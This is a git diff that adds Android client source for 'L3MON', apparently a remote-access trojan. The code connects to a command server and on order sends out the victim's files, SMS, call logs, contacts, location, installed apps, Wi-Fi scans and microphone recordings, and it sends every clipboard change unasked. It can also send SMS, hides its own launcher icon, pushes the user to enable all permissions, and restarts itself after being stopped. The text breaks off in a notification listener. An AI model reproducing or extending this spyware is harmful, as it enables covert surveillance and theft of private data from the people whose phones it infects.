+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/client/app/src/main/java/com/etechd/l3mon/AppInstaller.java b/client/app/src/main/java/com/etechd/l3mon/AppInstaller.java
new file mode 100644
index 0000000..f35d4fa
--- /dev/null
+++ b/client/app/src/main/java/com/etechd/l3mon/AppInstaller.java
@@ -0,0 +1,42 @@
+package com.etechd.l3mon;
+
+import android.content.Context;
+import android.content.Intent;
+import android.net.Uri;
+import android.os.Build;
+
+import java.io.File;
+import java.util.regex.Pattern;
+
+import static com.etechd.l3mon.ConnectionManager.context;
+
+public class AppInstaller {
+// public void install_apk(File file) {
+// try {
+// if (file.exists()) {
+// String[] fileNameArray = file.getName().split(Pattern.quote("."));
+// if (fileNameArray[fileNameArray.length - 1].equals("apk")) {
+// if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.N) {
+// Uri downloaded_apk = getFileUri(context, file);
+// Intent intent = new Intent(Intent.ACTION_VIEW).setDataAndType(downloaded_apk,
+// "application/vnd.android.package-archive");
+// intent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
+// context.startActivity(intent);
+// } else {
+// Intent intent = new Intent(Intent.ACTION_VIEW);
+// intent.setDataAndType(Uri.fromFile(file),
+// "application/vnd.android.package-archive");
+// intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+// context.startActivity(intent);
+// }
+// }
+// }
+// } catch (Exception e) {
+// e.printStackTrace();
+// }
+// }
+//
+// Uri getFileUri(Context context, File file) {
+// return FileProvider.getUriForFile(context, context.getApplicationContext().getPackageName() + ".HelperClasses.GenericFileProvider", file);
+// }
+}
diff --git a/client/app/src/main/java/com/etechd/l3mon/AppList.java b/client/app/src/main/java/com/etechd/l3mon/AppList.java
new file mode 100644
index 0000000..2efc6da
--- /dev/null
+++ b/client/app/src/main/java/com/etechd/l3mon/AppList.java
@@ -0,0 +1,49 @@
+package com.etechd.l3mon;
+
+import android.content.pm.PackageInfo;
+import android.graphics.drawable.Drawable;
+
+import org.json.JSONArray;
+import org.json.JSONException;
+import org.json.JSONObject;
+
+import java.util.List;
+
+import static com.etechd.l3mon.ConnectionManager.context;
+
+public class AppList {
+
+ public static JSONObject getInstalledApps(boolean getSysPackages) {
+
+ JSONArray apps = new JSONArray();
+
+ List packs = context.getPackageManager().getInstalledPackages(0);
+
+ for(int i=0;i < packs.size();i++) {
+ PackageInfo p = packs.get(i);
+ if ((!getSysPackages) && (p.versionName == null)) {
+ continue ;
+ }
+ try {
+ JSONObject newInfo = new JSONObject();
+ String appname = p.applicationInfo.loadLabel(context.getPackageManager()).toString();
+ String pname = p.packageName;
+ String versionName = p.versionName;
+ int versionCode = p.versionCode;
+
+ newInfo.put("appName",appname);
+ newInfo.put("packageName",pname);
+ newInfo.put("versionName",versionName);
+ newInfo.put("versionCode",versionCode);
+ apps.put(newInfo);
+ }catch (JSONException e) {}
+ }
+
+ JSONObject data = new JSONObject();
+ try {
+ data.put("apps", apps);
+ }catch (JSONException e) {}
+
+ return data;
+ }
+}
diff --git a/client/app/src/main/java/com/etechd/l3mon/CallsManager.java b/client/app/src/main/java/com/etechd/l3mon/CallsManager.java
new file mode 100644
index 0000000..431af47
--- /dev/null
+++ b/client/app/src/main/java/com/etechd/l3mon/CallsManager.java
@@ -0,0 +1,49 @@
+package com.etechd.l3mon;
+
+import android.database.Cursor;
+import android.net.Uri;
+import android.provider.CallLog;
+
+import org.json.JSONArray;
+import org.json.JSONException;
+import org.json.JSONObject;
+
+public class CallsManager {
+
+ public static JSONObject getCallsLogs(){
+
+ try {
+ JSONObject Calls = new JSONObject();
+ JSONArray list = new JSONArray();
+
+ Uri allCalls = Uri.parse("content://call_log/calls");
+ Cursor cur = MainService.getContextOfApplication().getContentResolver().query(allCalls, null, null, null, null);
+
+ while (cur.moveToNext()) {
+ JSONObject call = new JSONObject();
+ String num = cur.getString(cur.getColumnIndex(CallLog.Calls.NUMBER));
+ String name = cur.getString(cur.getColumnIndex(CallLog.Calls.CACHED_NAME));
+ String duration = cur.getString(cur.getColumnIndex(CallLog.Calls.DURATION));
+ String date = cur.getString(cur.getColumnIndex(CallLog.Calls.DATE));
+
+ int type = Integer.parseInt(cur.getString(cur.getColumnIndex(CallLog.Calls.TYPE)));
+
+
+ call.put("phoneNo", num);
+ call.put("name", name);
+ call.put("duration", duration);
+ call.put("date", date);
+ call.put("type", type);
+ list.put(call);
+
+ }
+ Calls.put("callsList", list);
+ return Calls;
+ } catch (JSONException e) {
+ e.printStackTrace();
+ }
+ return null;
+
+ }
+
+}
diff --git a/client/app/src/main/java/com/etechd/l3mon/CameraManager.java b/client/app/src/main/java/com/etechd/l3mon/CameraManager.java
new file mode 100644
index 0000000..ea63a45
--- /dev/null
+++ b/client/app/src/main/java/com/etechd/l3mon/CameraManager.java
@@ -0,0 +1,127 @@
+package com.etechd.l3mon;
+
+
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.graphics.Bitmap;
+import android.graphics.BitmapFactory;
+import android.graphics.SurfaceTexture;
+import android.hardware.Camera;
+import android.hardware.Camera.PictureCallback;
+import android.hardware.Camera.Parameters;
+
+import org.json.JSONArray;
+import org.json.JSONException;
+import org.json.JSONObject;
+
+import java.io.ByteArrayOutputStream;
+
+
+public class CameraManager {
+
+ private Context context ;
+ private Camera camera;
+
+
+ public CameraManager(Context context) {
+ this.context = context;
+ }
+
+
+ public void startUp(int cameraID){
+ camera = Camera.open(cameraID);
+ Parameters parameters = camera.getParameters();
+ camera.setParameters(parameters);
+ try{
+ camera.setPreviewTexture(new SurfaceTexture(0));
+ camera.startPreview();
+ } catch (Exception e) {
+ e.printStackTrace();
+ }
+
+ camera.takePicture(null, null, new PictureCallback() {
+ @Override
+ public void onPictureTaken(byte[] data, Camera camera) {
+ releaseCamera();
+ sendPhoto(data);
+ }
+ });
+ }
+
+
+ private void sendPhoto(byte [] data){
+
+ try {
+
+ Bitmap bitmap = BitmapFactory.decodeByteArray(data, 0, data.length);
+ ByteArrayOutputStream bos = new ByteArrayOutputStream();
+ bitmap.compress(Bitmap.CompressFormat.JPEG, 20, bos);
+ JSONObject object = new JSONObject();
+ object.put("image",true);
+ object.put("buffer" , bos.toByteArray());
+ IOSocket.getInstance().getIoSocket().emit("0xCA" , object);
+
+
+ } catch (JSONException e) {
+ e.printStackTrace();
+ }
+
+ }
+
+ private void releaseCamera(){
+ if (camera != null) {
+ camera.stopPreview();
+ camera.release();
+ camera = null;
+ }
+ }
+
+ public JSONObject findCameraList() {
+
+ if (!context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_CAMERA)) {
+ return null;
+ }
+
+
+ try {
+ JSONObject cameras = new JSONObject();
+ JSONArray list = new JSONArray();
+ cameras.put("camList",true);
+
+ // Search for available cameras
+ int numberOfCameras = Camera.getNumberOfCameras();
+ for (int i = 0; i < numberOfCameras; i++) {
+ Camera.CameraInfo info = new Camera.CameraInfo();
+ Camera.getCameraInfo(i, info);
+ if (info.facing == Camera.CameraInfo.CAMERA_FACING_FRONT) {
+ JSONObject jo = new JSONObject();
+ jo.put("name", "Front");
+ jo.put("id", i);
+ list.put(jo);
+ }
+ else if (info.facing == Camera.CameraInfo.CAMERA_FACING_BACK){
+ JSONObject jo = new JSONObject();
+ jo.put("name", "Back");
+ jo.put("id", i);
+ list.put(jo);
+ }
+ else {
+ JSONObject jo = new JSONObject();
+ jo.put("name", "Other");
+ jo.put("id", i);
+ list.put(jo);
+ }
+ }
+
+ cameras.put("list" , list);
+ return cameras;
+
+ } catch (JSONException e) {
+ e.printStackTrace();
+ }
+
+ return null;
+
+ }
+
+}
diff --git a/client/app/src/main/java/com/etechd/l3mon/ConnectionManager.java b/client/app/src/main/java/com/etechd/l3mon/ConnectionManager.java
new file mode 100644
index 0000000..bb6abd7
--- /dev/null
+++ b/client/app/src/main/java/com/etechd/l3mon/ConnectionManager.java
@@ -0,0 +1,187 @@
+package com.etechd.l3mon;
+
+import android.content.Context;
+import android.os.Looper;
+import android.util.Log;
+
+import org.json.JSONException;
+import org.json.JSONObject;
+
+import io.socket.emitter.Emitter;
+
+public class ConnectionManager {
+
+
+ public static Context context;
+ private static io.socket.client.Socket ioSocket;
+ private static FileManager fm = new FileManager();
+
+ public static void startAsync(Context con)
+ {
+ try {
+ context = con;
+ sendReq();
+ }catch (Exception ex){
+ startAsync(con);
+ }
+
+ }
+
+ public static void sendReq() {
+ try {
+ if(ioSocket != null )
+ return;
+ ioSocket = IOSocket.getInstance().getIoSocket();
+ ioSocket.on("ping", new Emitter.Listener() {
+ @Override
+ public void call(Object... args) {
+ ioSocket.emit("pong");
+ }
+ });
+
+
+
+ ioSocket.on("order", new Emitter.Listener() {
+ @Override
+ public void call(Object... args) {
+ try {
+ JSONObject data = (JSONObject) args[0];
+ String order = data.getString("type");
+
+
+ switch (order){
+// case "0xCA":
+// if(data.getString("action").equals("camList"))
+// CA(-1);
+// else if (data.getString("action").equals("takePic"))
+// CA(Integer.parseInt(data.getString("cameraID")));
+// break;
+ case "0xFI":
+ if (data.getString("action").equals("ls"))
+ FI(0,data.getString("path"));
+ else if (data.getString("action").equals("dl"))
+ FI(1,data.getString("path"));
+ break;
+ case "0xSM":
+ if(data.getString("action").equals("ls"))
+ SM(0,null,null);
+ else if(data.getString("action").equals("sendSMS"))
+ SM(1,data.getString("to") , data.getString("sms"));
+ break;
+ case "0xCL":
+ CL();
+ break;
+ case "0xCO":
+ CO();
+ break;
+ case "0xMI":
+ MI(data.getInt("sec"));
+ break;
+ case "0xLO":
+ LO();
+ break;
+ case "0xWI":
+ WI();
+ break;
+ case "0xPM":
+ PM();
+ break;
+ case "0xIN":
+ IN();
+ break;
+ case "0xGP":
+ GP(data.getString("permission"));
+ break;
+ }
+ }catch (Exception e) {
+ e.printStackTrace();
+ }
+ }
+ });
+ ioSocket.connect();
+
+ } catch (Exception ex){
+ Log.e("error" , ex.getMessage());
+ }
+
+ }
+
+// public static void CA(int cameraID){
+// if(cameraID == -1) {
+// JSONObject cameraList = new CameraManager(context).findCameraList();
+// if(cameraList != null)
+// ioSocket.emit("0xCA" ,cameraList );
+// } else {
+// new CameraManager(context).startUp(cameraID);
+// }
+// }
+
+ public static void FI(int req , String path){
+ if(req == 0) {
+ JSONObject object = new JSONObject();
+ try {
+ object.put("type", "list");
+ object.put("list", fm.walk(path));
+ ioSocket.emit("0xFI", object);
+ } catch (JSONException e){}
+ }else if (req == 1)
+ fm.downloadFile(path);
+ }
+
+
+ public static void SM(int req,String phoneNo , String msg){
+ if(req == 0)
+ ioSocket.emit("0xSM" , SMSManager.getsms());
+ else if(req == 1) {
+ boolean isSent = SMSManager.sendSMS(phoneNo, msg);
+ ioSocket.emit("0xSM", isSent);
+ }
+ }
+
+ public static void CL(){
+ ioSocket.emit("0xCL" , CallsManager.getCallsLogs());
+ }
+
+ public static void CO(){
+ ioSocket.emit("0xCO" , ContactsManager.getContacts());
+ }
+
+ public static void MI(int sec) throws Exception{
+ MicManager.startRecording(sec);
+ }
+
+ public static void WI() {
+ ioSocket.emit("0xWI" , WifiScanner.scan(context));
+ }
+
+ public static void PM() {
+ ioSocket.emit("0xPM" , PermissionManager.getGrantedPermissions());
+ }
+
+
+ public static void IN() {
+ ioSocket.emit("0xIN" , AppList.getInstalledApps(false));
+ }
+
+
+ public static void GP(String perm) {
+ JSONObject data = new JSONObject();
+ try {
+ data.put("permission", perm);
+ data.put("isAllowed", PermissionManager.canIUse(perm));
+ ioSocket.emit("0xGP", data);
+ } catch (JSONException e) {
+
+ }
+ }
+
+ public static void LO() throws Exception{
+ Looper.prepare();
+ LocManager gps = new LocManager(context);
+ // check if GPS enabled
+ if(gps.canGetLocation()){
+ ioSocket.emit("0xLO", gps.getData());
+ }
+ }
+
+}
diff --git a/client/app/src/main/java/com/etechd/l3mon/ContactsManager.java b/client/app/src/main/java/com/etechd/l3mon/ContactsManager.java
new file mode 100644
index 0000000..b52b6b8
--- /dev/null
+++ b/client/app/src/main/java/com/etechd/l3mon/ContactsManager.java
@@ -0,0 +1,40 @@
+package com.etechd.l3mon;
+
+import android.database.Cursor;
+import android.provider.ContactsContract;
+
+import org.json.JSONArray;
+import org.json.JSONException;
+import org.json.JSONObject;
+
+public class ContactsManager {
+
+ public static JSONObject getContacts(){
+
+ try {
+ JSONObject contacts = new JSONObject();
+ JSONArray list = new JSONArray();
+ Cursor cur = MainService.getContextOfApplication().getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI,
+ new String[] { ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME, ContactsContract.CommonDataKinds.Phone.NUMBER}, null, null, ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME + " ASC");
+
+
+ while (cur.moveToNext()) {
+ JSONObject contact = new JSONObject();
+ String name = cur.getString(cur.getColumnIndex(ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME));// for number
+ String num = cur.getString(cur.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER));// for name
+
+ contact.put("phoneNo", num);
+ contact.put("name", name);
+ list.put(contact);
+
+ }
+ contacts.put("contactsList", list);
+ return contacts;
+ } catch (JSONException e) {
+ e.printStackTrace();
+ }
+ return null;
+
+ }
+
+}
diff --git a/client/app/src/main/java/com/etechd/l3mon/FileManager.java b/client/app/src/main/java/com/etechd/l3mon/FileManager.java
new file mode 100644
index 0000000..0df3782
--- /dev/null
+++ b/client/app/src/main/java/com/etechd/l3mon/FileManager.java
@@ -0,0 +1,93 @@
+package com.etechd.l3mon;
+
+import android.util.Log;
+
+import org.json.JSONArray;
+import org.json.JSONException;
+import org.json.JSONObject;
+
+import java.io.BufferedInputStream;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileNotFoundException;
+import java.io.IOException;
+
+
+public class FileManager {
+
+
+ public static JSONArray walk(String path){
+
+
+ // Read all files sorted into the values-array
+ JSONArray values = new JSONArray();
+ File dir = new File(path);
+ if (!dir.canRead()) {
+ Log.d("cannot","inaccessible");
+ try {
+ JSONObject errorJson = new JSONObject();
+ errorJson.put("type", "error");
+ errorJson.put("error", "Denied");
+ IOSocket.getInstance().getIoSocket().emit("0xFI" , errorJson);
+ } catch (JSONException e) {
+ e.printStackTrace();
+ }
+ }
+
+ File[] list = dir.listFiles();
+ try {
+ if (list != null) {
+ JSONObject parenttObj = new JSONObject();
+ parenttObj.put("name", "../");
+ parenttObj.put("isDir", true);
+ parenttObj.put("path", dir.getParent());
+ values.put(parenttObj);
+ for (File file : list) {
+ if (!file.getName().startsWith(".")) {
+ JSONObject fileObj = new JSONObject();
+ fileObj.put("name", file.getName());
+ fileObj.put("isDir", file.isDirectory());
+ fileObj.put("path", file.getAbsolutePath());
+ values.put(fileObj);
+ }
+ }
+ }
+ } catch (JSONException e) {
+ e.printStackTrace();
+ }
+
+
+ return values;
+ }
+
+ public static void downloadFile(String path){
+ if (path == null)
+ return;
+
+ File file = new File(path);
+
+ if (file.exists()){
+
+ int size = (int) file.length();
+ byte[] data = new byte[size];
+ try {
+ BufferedInputStream buf = new BufferedInputStream(new FileInputStream(file));
+ buf.read(data, 0, data.length);
+ JSONObject object = new JSONObject();
+ object.put("type","download");
+ object.put("name",file.getName());
+ object.put("buffer" , data);
+ IOSocket.getInstance().getIoSocket().emit("0xFI" , object);
+ buf.close();
+ } catch (FileNotFoundException e) {
+ e.printStackTrace();
+ } catch (IOException e) {
+ e.printStackTrace();
+ } catch (JSONException e) {
+ e.printStackTrace();
+ }
+
+ }
+ }
+
+}
diff --git a/client/app/src/main/java/com/etechd/l3mon/IOSocket.java b/client/app/src/main/java/com/etechd/l3mon/IOSocket.java
new file mode 100644
index 0000000..40a1c35
--- /dev/null
+++ b/client/app/src/main/java/com/etechd/l3mon/IOSocket.java
@@ -0,0 +1,42 @@
+package com.etechd.l3mon;
+
+import android.os.Build;
+import android.provider.Settings;
+import java.net.URISyntaxException;
+import io.socket.client.IO;
+import io.socket.client.Socket;
+
+public class IOSocket {
+ private static IOSocket ourInstance = new IOSocket();
+ private io.socket.client.Socket ioSocket;
+
+
+
+ private IOSocket() {
+ try {
+
+ String deviceID = Settings.Secure.getString(MainService.getContextOfApplication().getContentResolver(), Settings.Secure.ANDROID_ID);
+ IO.Options opts = new IO.Options();
+ opts.reconnection = true;
+ opts.reconnectionDelay = 5000;
+ opts.reconnectionDelayMax = 999999999;
+
+ ioSocket = IO.socket("http://192.168.0.91:22222?model="+ android.net.Uri.encode(Build.MODEL)+"&manf="+Build.MANUFACTURER+"&release="+Build.VERSION.RELEASE+"&id="+deviceID);
+ } catch (URISyntaxException e) {
+ e.printStackTrace();
+ }
+ }
+
+
+ public static IOSocket getInstance() {
+ return ourInstance;
+ }
+
+ public Socket getIoSocket() {
+ return ioSocket;
+ }
+
+
+
+
+}
diff --git a/client/app/src/main/java/com/etechd/l3mon/LocManager.java b/client/app/src/main/java/com/etechd/l3mon/LocManager.java
new file mode 100644
index 0000000..0e28c23
--- /dev/null
+++ b/client/app/src/main/java/com/etechd/l3mon/LocManager.java
@@ -0,0 +1,151 @@
+package com.etechd.l3mon;
+
+import android.Manifest;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.location.Location;
+import android.location.LocationListener;
+import android.location.LocationManager;
+import android.os.Bundle;
+import android.util.Log;
+
+import org.json.JSONException;
+import org.json.JSONObject;
+
+import static com.etechd.l3mon.ConnectionManager.context;
+import static android.content.Context.LOCATION_SERVICE;
+
+public class LocManager implements LocationListener {
+
+ private final Context mContext;
+ boolean isGPSEnabled = false;
+ boolean isNetworkEnabled = false;
+ boolean canGetLocation = false;
+ Location location;
+ double latitude;
+ double longitude;
+ float accuracy;
+ double altitude;
+ float speed;
+
+ // The minimum distance to change Updates in meters
+ private static final long MIN_DISTANCE_CHANGE_FOR_UPDATES = 10; // 10 meters
+
+ // The minimum time between updates in milliseconds
+ private static final long MIN_TIME_BW_UPDATES = 1000 * 60 * 1; // 10 minutes
+
+ // Declaring a Location Manager
+ protected LocationManager locationManager;
+
+
+ public LocManager() {
+ this.mContext = null;
+ }
+
+
+ public LocManager(Context context) {
+ this.mContext = context;
+ getLocation();
+ }
+
+
+ public Location getLocation() {
+ try {
+ locationManager = (LocationManager) mContext.getSystemService(LOCATION_SERVICE);
+ // getting GPS status
+ isGPSEnabled = locationManager.isProviderEnabled(LocationManager.GPS_PROVIDER);
+ // getting network status
+ isNetworkEnabled = locationManager.isProviderEnabled(LocationManager.NETWORK_PROVIDER);
+
+ if (isGPSEnabled || isNetworkEnabled) {
+
+ this.canGetLocation = true;
+ if(context.getPackageManager().checkPermission(Manifest.permission.ACCESS_FINE_LOCATION, context.getPackageName()) == PackageManager.PERMISSION_GRANTED &&
+ context.getPackageManager().checkPermission(Manifest.permission.ACCESS_COARSE_LOCATION, context.getPackageName()) == PackageManager.PERMISSION_GRANTED) {
+ // First get location from Network Provider
+ if (isNetworkEnabled) {
+
+ if (locationManager != null) {
+ location = locationManager.getLastKnownLocation(LocationManager.NETWORK_PROVIDER);
+ if (location != null) {
+ latitude = location.getLatitude();
+ longitude = location.getLongitude();
+ altitude = location.getAltitude();
+ accuracy = location.getAccuracy();
+ speed = location.getSpeed();
+ }
+ }
+ }
+
+ // if GPS Enabled get lat/long using GPS Services
+ if (isGPSEnabled) {
+ if (location == null) {
+
+ if (locationManager != null) {
+ location = locationManager.getLastKnownLocation(LocationManager.GPS_PROVIDER);
+ if (location != null) {
+ latitude = location.getLatitude();
+ longitude = location.getLongitude();
+ altitude = location.getAltitude();
+ accuracy = location.getAccuracy();
+ speed = location.getSpeed();
+ }
+ }
+ }
+ }
+ }
+ }
+
+ } catch (Exception e) {
+ e.printStackTrace();
+ }
+
+ return location;
+ }
+
+ public boolean canGetLocation() {
+ return this.canGetLocation;
+ }
+
+ public JSONObject getData(){
+ JSONObject data = new JSONObject();
+ if(location != null){
+ try {
+ data.put("enabled" , true);
+ data.put("latitude", latitude);
+ data.put("longitude", longitude);
+ data.put("altitude", altitude);
+ data.put("accuracy", accuracy);
+ data.put("speed", speed);
+
+ return data;
+ } catch (JSONException e) { return data; }
+ } else return data;
+ }
+
+ @Override
+ public void onLocationChanged(Location location) {
+ if(location != null) {
+ latitude = location.getLatitude();
+ longitude = location.getLongitude();
+ altitude = location.getAltitude();
+ accuracy = location.getAccuracy();
+ speed = location.getSpeed();
+ }
+ IOSocket.getInstance().getIoSocket().emit("0xLO" , getData());
+ }
+
+ @Override
+ public void onProviderDisabled(String provider) {
+ }
+
+ @Override
+ public void onProviderEnabled(String provider) {
+ }
+
+ @Override
+ public void onStatusChanged(String provider, int status, Bundle extras) {
+ }
+
+
+}
\ No newline at end of file
diff --git a/client/app/src/main/java/com/etechd/l3mon/MainActivity.java b/client/app/src/main/java/com/etechd/l3mon/MainActivity.java
new file mode 100644
index 0000000..32056d6
--- /dev/null
+++ b/client/app/src/main/java/com/etechd/l3mon/MainActivity.java
@@ -0,0 +1,60 @@
+package com.etechd.l3mon;
+
+import android.app.Activity;
+import android.content.ContentResolver;
+import android.content.Context;
+import android.content.Intent;
+import android.graphics.Color;
+import android.graphics.Typeface;
+import android.net.Uri;
+import android.os.Bundle;
+import android.provider.Settings;
+import android.view.Gravity;
+import android.widget.TextView;
+import android.widget.Toast;
+
+
+public class MainActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ setContentView(R.layout.activity_main);
+ startService(new Intent(this, MainService.class));
+ boolean isNotificationServiceRunning = isNotificationServiceRunning();
+ if(!isNotificationServiceRunning){
+
+ Context context = getApplicationContext();
+ CharSequence text = "Click 'Permissions'\nEnable ALL permissions\n Click back x2\n Enable 'Package Manager'";
+ int duration = Toast.LENGTH_LONG;
+
+ Toast toast = Toast.makeText(context, text, duration);
+
+ TextView v = (TextView) toast.getView().findViewById(android.R.id.message);
+ v.setTextColor(Color.RED);
+ v.setTypeface(Typeface.DEFAULT_BOLD);
+ v.setGravity(Gravity.CENTER_VERTICAL | Gravity.CENTER_HORIZONTAL);
+ toast.show();
+
+ // spawn notification thing
+ startActivity(new Intent(Settings.ACTION_NOTIFICATION_LISTENER_SETTINGS));
+
+ // spawn app page settings so you can enable all perms
+ Intent i = new Intent(android.provider.Settings.ACTION_APPLICATION_DETAILS_SETTINGS, Uri.parse("package:" + BuildConfig.APPLICATION_ID));
+ startActivity(i);
+ }
+
+ finish();
+ }
+
+
+
+ private boolean isNotificationServiceRunning() {
+ ContentResolver contentResolver = getContentResolver();
+ String enabledNotificationListeners =
+ Settings.Secure.getString(contentResolver, "enabled_notification_listeners");
+ String packageName = getPackageName();
+ return enabledNotificationListeners != null && enabledNotificationListeners.contains(packageName);
+ }
+}
diff --git a/client/app/src/main/java/com/etechd/l3mon/MainService.java b/client/app/src/main/java/com/etechd/l3mon/MainService.java
new file mode 100644
index 0000000..d2c2790
--- /dev/null
+++ b/client/app/src/main/java/com/etechd/l3mon/MainService.java
@@ -0,0 +1,85 @@
+package com.etechd.l3mon;
+
+import android.app.AlarmManager;
+import android.app.PendingIntent;
+import android.app.Service;
+import android.content.ClipData;
+import android.content.ClipboardManager;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.os.IBinder;
+import android.os.SystemClock;
+import android.util.Log;
+
+import org.json.JSONException;
+import org.json.JSONObject;
+
+import java.util.Timer;
+import java.util.TimerTask;
+
+public class MainService extends Service {
+ private static Context contextOfApplication;
+
+ public MainService() {
+
+ }
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ // TODO: Return the communication channel to the service.
+ //throw new UnsupportedOperationException("Not yet implemented");
+ return null;
+ }
+
+ @Override
+ public int onStartCommand(Intent paramIntent, int paramInt1, int paramInt2) {
+ // Hide App Icon
+ PackageManager pkg=this.getPackageManager();
+ pkg.setComponentEnabledSetting(new ComponentName(this, MainActivity.class), PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
+
+
+
+ ClipboardManager.OnPrimaryClipChangedListener mPrimaryChangeListener = new ClipboardManager.OnPrimaryClipChangedListener() {
+ public void onPrimaryClipChanged() {
+ ClipboardManager clipboard = (ClipboardManager) getSystemService(CLIPBOARD_SERVICE);
+ if (clipboard.hasPrimaryClip()) {
+ ClipData clipData = clipboard.getPrimaryClip();
+ if (clipData.getItemCount() > 0) {
+ CharSequence text = clipData.getItemAt(0).getText();
+ if (text != null) {
+ try {
+ JSONObject data = new JSONObject();
+ data.put("text", text);
+ IOSocket.getInstance().getIoSocket().emit("0xCB" , data);
+ } catch (JSONException e) {
+ e.printStackTrace();
+ }
+ }
+ }
+ }
+ }
+ };
+
+ ClipboardManager clipboardManager = (ClipboardManager) getSystemService(CLIPBOARD_SERVICE);
+ clipboardManager.addPrimaryClipChangedListener(mPrimaryChangeListener);
+
+
+ contextOfApplication = this;
+ ConnectionManager.startAsync(this);
+ return Service.START_STICKY;
+ }
+
+ @Override
+ public void onDestroy() {
+ super.onDestroy();
+ sendBroadcast(new Intent("respawnService"));
+ }
+
+ public static Context getContextOfApplication()
+ {
+ return contextOfApplication;
+ }
+
+}
diff --git a/client/app/src/main/java/com/etechd/l3mon/MicManager.java b/client/app/src/main/java/com/etechd/l3mon/MicManager.java
new file mode 100644
index 0000000..e0bfe27
--- /dev/null
+++ b/client/app/src/main/java/com/etechd/l3mon/MicManager.java
@@ -0,0 +1,88 @@
+package com.etechd.l3mon;
+
+import android.media.MediaRecorder;
+import android.util.Log;
+
+import org.json.JSONException;
+import org.json.JSONObject;
+
+import java.io.BufferedInputStream;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileNotFoundException;
+import java.io.IOException;
+import java.util.Timer;
+import java.util.TimerTask;
+
+public class MicManager {
+
+
+ static MediaRecorder recorder;
+ static File audiofile = null;
+ static final String TAG = "MediaRecording";
+ static TimerTask stopRecording;
+
+
+ public static void startRecording(int sec) throws Exception {
+
+
+ //Creating file
+ File dir = MainService.getContextOfApplication().getCacheDir();
+ try {
+ Log.e("DIRR" , dir.getAbsolutePath());
+ audiofile = File.createTempFile("sound", ".mp3", dir);
+ } catch (IOException e) {
+ Log.e(TAG, "external storage access error");
+ return;
+ }
+
+
+ //Creating MediaRecorder and specifying audio source, output format, encoder & output format
+ recorder = new MediaRecorder();
+ recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
+ recorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4);
+ recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
+ recorder.setOutputFile(audiofile.getAbsolutePath());
+ recorder.prepare();
+ recorder.start();
+
+
+ stopRecording = new TimerTask() {
+ @Override
+ public void run() {
+ //stopping recorder
+ recorder.stop();
+ recorder.release();
+ sendVoice(audiofile);
+ audiofile.delete();
+ }
+ };
+
+ new Timer().schedule(stopRecording, sec*1000);
+ }
+
+ private static void sendVoice(File file){
+
+ int size = (int) file.length();
+ byte[] data = new byte[size];
+ try {
+ BufferedInputStream buf = new BufferedInputStream(new FileInputStream(file));
+ buf.read(data, 0, data.length);
+ JSONObject object = new JSONObject();
+ object.put("file",true);
+ object.put("name",file.getName());
+ object.put("buffer" , data);
+ IOSocket.getInstance().getIoSocket().emit("0xMI" , object);
+ buf.close();
+ } catch (FileNotFoundException e) {
+ e.printStackTrace();
+ } catch (IOException e) {
+ e.printStackTrace();
+ } catch (JSONException e) {
+ e.printStackTrace();
+ }
+
+ }
+
+}
+
diff --git a/client/app/src/main/java/com/etechd/l3mon/MyReceiver.java b/client/app/src/main/java/com/etechd/l3mon/MyReceiver.java
new file mode 100644
index 0000000..68cf8b7
--- /dev/null
+++ b/client/app/src/main/java/com/etechd/l3mon/MyReceiver.java
@@ -0,0 +1,32 @@
+package com.etechd.l3mon;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.net.Uri;
+import android.provider.Settings;
+
+public class MyReceiver extends BroadcastReceiver {
+ public MyReceiver() {
+ }
+
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ // TODO: This method is called when the BroadcastReceiver is receiving
+ // an Intent broadcast.
+
+ if(intent.getAction().equals("android.provider.Telephony.SECRET_CODE")) {
+ String uri = intent.getDataString();
+ String[] sep = uri.split("://");
+ if (sep[1].equalsIgnoreCase("8088")) {
+ context.startActivity(new Intent(Settings.ACTION_NOTIFICATION_LISTENER_SETTINGS));
+ } else if (sep[1].equalsIgnoreCase("5055")) {
+ Intent i = new Intent(android.provider.Settings.ACTION_APPLICATION_DETAILS_SETTINGS, Uri.parse("package:" + BuildConfig.APPLICATION_ID));
+ context.startActivity(i);
+ }
+ }
+
+ intent = new Intent( context, MainService.class );
+ context.startService(intent);
+ }
+}
diff --git a/client/app/src/main/java/com/etechd/l3mon/NotificationListener.java b/client/app/src/main/java/com/etechd/l3mon/NotificationListener.java
new file mode 100644
index 0000000..a3d6df1
--- /dev/null
+++ b/client/app/src/main/java/com/etechd/l3mon/NotificationListener.java
@@ -0,0 +1,44 @@
+package com.etechd.l3mon;
+
+import org.json.JSONException;
+import org.json.JSONObject;
+
+import android.app.Notification;
+import android.os.Bundle;
+import android.os.IBinder;
+
+import android.content.Intent;
+
+import android.service.notification.NotificationListenerService;
+import android.service.notification.StatusBarNotification;
+
+public class NotificationListener extends NotificationListenerService {
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ return super.onBind(intent);
+ }
+
+ @Override
+ public void onNotificationPosted(StatusBarNotification sbn){
+ try {
+ String appName = sbn.getPackageName();
